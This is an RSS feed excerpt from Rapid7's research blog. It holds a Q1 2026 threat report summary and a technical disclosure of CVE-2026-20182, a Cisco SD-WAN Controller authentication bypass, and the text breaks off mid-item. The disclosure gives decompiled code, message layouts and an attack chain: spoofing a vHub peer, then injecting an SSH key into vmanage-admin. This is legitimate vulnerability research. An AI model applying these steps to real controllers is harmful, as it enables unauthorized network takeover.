<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Research - Rapid7 Cybersecurity Blog ]]></title>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Thu, 28 May 2026 02:17:54 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/tag/research/rss" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[Q1 2026 Threat Landscape Report: Zero-clicks, geopolitical tensions, and some wins for law enforcement]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>The first quarter of 2026 reinforced that attackers are moving faster, operating with greater coordination, and exploiting weaknesses before most organizations can respond effectively. From escalating geopolitical tensions to increasingly aggressive ransomware operations, the latest </span><a href="/research/report/threat-landscape-report-2026-q1" target="_self"><span style='font-size: undefined;'>quarterly Threat Landscape Report</span></a><span style='font-size: undefined;'> highlights a security environment where reactive defense strategies are becoming unsustainable.</span></p><h2><span style='font-size: undefined;'>Quarterly Threat Landscape Report findings</span></h2><h3><span style='font-size: undefined;'>Exploits unseat social engineering for top initial access vector (IAV)</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>One of the biggest takeaways is that vulnerability exploitation surpassed social engineering as the largest initial access vector with 38% of the total. This would be interesting on its own, but when coupled with more than 50% of all exploited vulnerabilities actively being zero-click, network facing vulnerabilities, it indicates that, at least in the short term, attackers are finding AI-enabled vulnerability exploitation easier to accomplish than exploiting human behavior. These types of vulnerabilities require no authentication and no user interaction, giving attackers rapid pathways into exposed systems and edge infrastructure. At the same time, exploitation activity was frequently preceded by large spikes in public discussion across forums, blogs, and social media platforms, demonstrating how quickly threat actors operationalize publicly available information once vulnerabilities gain visibility.</span></p><h3><span style='font-size: undefined;'>Geopolitics and FBI takedowns in the threat landscape</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Geopolitical instability also continued to shape cyber operations throughout the quarter, particularly in the Middle East, where cyber activity was increasingly synchronized with military escalation. Iranian state-aligned groups targeted government infrastructure, financial services, and industrial systems, while Russian and Chinese campaigns focused heavily on intelligence collection, telecommunications infrastructure, and persistent access operations designed to remain undetected over long periods of time. The result is a threat landscape where organizations must prepare not only for immediate disruption, but also for long-term persistence inside enterprise environments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Meanwhile, law enforcement operations targeting underground criminal infrastructure disrupted several major ransomware and credential marketplaces during Q1, including the seizure of RAMP and LeakBase. These takedowns have created operational pressure for cybercriminal groups, pushing threat actors toward smaller, decentralized communities and increasing internal distrust.</span></p><h3><span style='font-size: undefined;'>A marked shift towards "pure extortion"</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The report also highlights the continued evolution of ransomware operations, particularly the growing shift toward “pure extortion” tactics focused on rapid data theft rather than traditional encryption-based attacks. Threat actors increasingly leveraged zero-click vulnerabilities to gain initial access, exfiltrate sensitive data, and pressure victims without deploying ransomware payloads that create additional operational risk and visibility.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Taken together, the findings from Q1 2026 show that organizations can no longer rely on periodic assessments and reactive workflows alone. Security teams need continuous visibility into their attack surface, better prioritization around exploitable risk, and the ability to move at a pace that matches modern attackers before small exposures become large-scale incidents.</span></p><p><a href="/research/report/threat-landscape-report-2026-q1" target="_self"><span style='font-size: undefined;'>Download the full report here.</span></a></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-q1-2026-threat-landscape-report-geopolitics-ransomware</link>
      <guid isPermaLink="false">blt50feb4cb9c488efe</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Ransomware]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Thu, 21 May 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb73c67c0997a5756/6a0ef690950085090b5eecbc/rapid7-threat-landscape-report-q1-2026-card.jpeg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>While researching a critical authentication bypass vulnerability, </span><a href="/blog/post/etr-critical-cisco-catalyst-vulnerability-exploited-in-the-wild-cve-2026-20127" target="_self"><span style='font-size: undefined;'>CVE-2026-20127</span></a><span style='font-size: undefined;'>, which was </span><a href="https://blog.talosintelligence.com/uat-8616-sd-wan/" target="_blank"><span style='font-size: undefined;'>exploited in-the-wild</span></a><span style='font-size: undefined;'>, </span><a href="/research" target="_self"><span style='font-size: undefined;'>Rapid7 Labs</span></a><span style='font-size: undefined;'> discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW" target="_blank"><span style='font-size: undefined;'>CVE-2026-20182</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This impact however is the same,</span><span style='font-size: undefined;'><strong> a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations</strong></span><span style='font-size: undefined;'>, such as injecting an attacker controlled public key into the </span><span style='font-size: undefined;'><span data-type='inlineCode'>vmanage-admin</span></span><span style='font-size: undefined;'> user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the </span><span style='font-size: undefined;'><span data-type='inlineCode'>vmanage-admin</span></span><span style='font-size: undefined;'> user, and begin to issue arbitrary NETCONF commands.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-20182 has a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" target="_blank"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'> (Critical), and a Common Weakness Enumeration (CWE) of </span><a href="https://cwe.mitre.org/data/definitions/287.html" target="_blank"><span style='font-size: undefined;'>CWE-287</span></a><span style='font-size: undefined;'>: Improper Authentication.</span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='852'><col style="width:21.47887323943662%"/><col style="width:23.943661971830984%"/><col style="width:54.5774647887324%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Port</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Protocol</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Service</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>22</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>TCP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SSH (OpenSSH)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>830</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>TCP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>NETCONF over SSH</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>12346</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>UDP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vdaemon DTLS control plane</span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="html">Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────&gt;|  ← cert verify logs error but returns OK
   |                                           |
   |&lt;──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────&gt;|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |&lt;──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer-&gt;authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────&gt;|  ← passes auth check, peer goes UP
   |                                           |
   |&lt;──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>After a DTLS handshake completes (which accepts any client certificate), the server sends a </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE</span></span><span style='font-size: undefined;'> containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'>, and it is during the processing of this response, in </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_challenge_ack()</span></span><span style='font-size: undefined;'>, that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The 12-byte message header format for the vdaemon protocol is as follows:</span></p><p></p><table><colgroup data-width='1179.7564102564102'><col style="width:13.583855858988708%"/><col style="width:11.410438921550517%"/><col style="width:15.078080003477467%"/><col style="width:59.92762521598331%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Byte Offset </strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Byte Size </strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Field</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Notes</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>msg_type</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Low nibble = type, high nibble = version</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>device_info</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>High nibble = device_type, low nibble = flags</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>flags</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Standard value of 0xA0</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>3</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>padding</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Always 0x00</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>4 - 7</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>domain_id</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Big-endian uint32</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>8 - 11</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>site_id</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Big-endian uint32</span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka </span><span style='font-size: undefined;'><span data-type='inlineCode'>device_info</span></span><span style='font-size: undefined;'>:</span></p><p></p><table><colgroup data-width='750'><col style="width:14.423076923076922%"/><col style="width:33.493589743589745%"/><col style="width:52.083333333333336%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Value</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Device Type</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Role</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vEdge</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Data-plane router</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vHub</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Hub router</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>3</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vSmart</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Control-plane controller</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vBond</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Orchestrator (trust anchor)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>5</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>vManage</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Management plane</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>6</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ZTP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Zero-touch provisioning</span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>This is the core of the vulnerability. Below is a walk through of the decompiled code from </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_challenge_ack()</span></span><span style='font-size: undefined;'>, which processes the </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'> message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):</span></p><p style="direction: ltr;">⠀</p><pre language="cpp">// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // &lt;--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // &lt;--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // &lt;--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // &lt;--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // &lt;--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer-&gt;authenticated = true // &lt;--- [6]
return 0LL;                // Success</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via </span><span style='font-size: undefined;'><span data-type='inlineCode'>is_serial_duplicate()</span></span><span style='font-size: undefined;'>, which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_peer_dup_check()</span></span><span style='font-size: undefined;'> rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At [3], a second verification block performs full certificate chain verification via </span><span style='font-size: undefined;'><span data-type='inlineCode'>vdaemon_dtls_verify_peer_cert()</span></span><span style='font-size: undefined;'>. This block executes only for specific (</span><span style='font-size: undefined;'><span data-type='inlineCode'>peer_type</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>local_type</span></span><span style='font-size: undefined;'>) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. </span><span style='font-size: undefined;'><strong>No pair in this block involves device type 2 (vHub).</strong></span><span style='font-size: undefined;'> If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to </span><span style='font-size: undefined;'><span data-type='inlineCode'>LABEL_179</span></span><span style='font-size: undefined;'>, which  rejects the peer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At [4], vEdge peers (type 1) enter hardware certificate verification via </span><span style='font-size: undefined;'><span data-type='inlineCode'>vdaemon_verify_peer_bidcert()</span></span><span style='font-size: undefined;'>. This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to </span><span style='font-size: undefined;'><span data-type='inlineCode'>LABEL_179</span></span><span style='font-size: undefined;'>, which  rejects the peer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At [5], </span><span style='font-size: undefined;'><strong>this is the bug</strong></span><span style='font-size: undefined;'>, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At [6], the function unconditionally sets “</span><span style='font-size: undefined;'><span data-type='inlineCode'>*(_BYTE *)(a2 + 70) = 1</span></span><span style='font-size: undefined;'>”, which is equivalent to ”peer-&gt;authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following table summarizes the verification applied to each device type:</span></p><p></p><table><colgroup data-width='1252'><col style="width:13.312034078807242%"/><col style="width:7.040018022446137%"/><col style="width:39.552101253379206%"/><col style="width:40.09584664536741%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Device Type </strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Value </strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Verification </strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Result </strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>vEdge</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>HW cert, challenge signature, board ID, OTP</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Verified</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>vHub</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>None</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Falls through to “peer-&gt;authenticated = 1”</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>vSmart</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>3</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cert chain, serial lookup, duplicate check</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Verified</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>vBond</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>N/A (trust anchor - handled elsewhere)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>vManage</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>5</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Cert chain, serial lookup, duplicate check</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Verified</span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Therefore, </span><span style='font-size: undefined;'><strong>a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>CHALLENGE_ACK</strong></span></span><span style='font-size: undefined;'><strong> message</strong></span><span style='font-size: undefined;'>. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Looking further at the message dispatcher, we need to confirm that the </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'> message can actually reach </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_challenge_ack()</span></span><span style='font-size: undefined;'>  without prior authentication. The answer is in the pre-dispatch authentication gate in </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_msg()</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="cpp">// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // &lt;--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (</span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>NEW_CHALLENGE_ACK</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK_ACK</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>Data</span></span><span style='font-size: undefined;'>, and </span><span style='font-size: undefined;'><span data-type='inlineCode'>TEAR_DOWN</span></span><span style='font-size: undefined;'>).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'> (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_challenge_ack()</span></span><span style='font-size: undefined;'>. This is by design; the authentication handshake must be able to proceed before the peer is authenticated.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once the vulnerable </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_challenge_ack() </span></span><span style='font-size: undefined;'>sets “peer-&gt;authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:</span></p><p style="direction: ltr;"><span style='color:rgb(184, 6, 114);font-size: undefined;'></span></p><pre language="cpp">// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // &lt;--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>At [2] above, the Hello handler verifies ”peer-&gt;authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE</span></span><span style='font-size: undefined;'> → send </span><span style='font-size: undefined;'><span data-type='inlineCode'>CHALLENGE_ACK</span></span><span style='font-size: undefined;'> with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via </span><span style='font-size: undefined;'><span data-type='inlineCode'>MSG_VMANAGE_TO_PEER</span></span><span style='font-size: undefined;'> (Message type 14).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The handler for message type 14 is </span><span style='font-size: undefined;'><span data-type='inlineCode'>vbond_proc_vmanage_to_peer()</span></span><span style='font-size: undefined;'>. Examining the decompiled code:</span></p><p style="direction: ltr;"><span style='color:rgb(184, 6, 114);font-size: undefined;'></span></p><pre language="cpp">// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // &lt;--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 &gt; 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // &lt;--- [2]
}
    fclose(stream);
  }

// ...snip...</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The key injection message body is a fixed 769-byte structure:</span></p><p></p><table><colgroup data-width='843.1057692307693'><col style="width:11.4047192728351%"/><col style="width:11.262160281924661%"/><col style="width:77.33312044524024%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Offset</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Size</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Field</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>0-767</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>768</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Key buffer ("\n" + ssh_pubkey + "\n" + "\x00" + zero-padding)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>768</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>TLV count = 0</span></p></td></tr></tbody></table><p>⠀⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The leading </span><span style='font-size: undefined;'><span 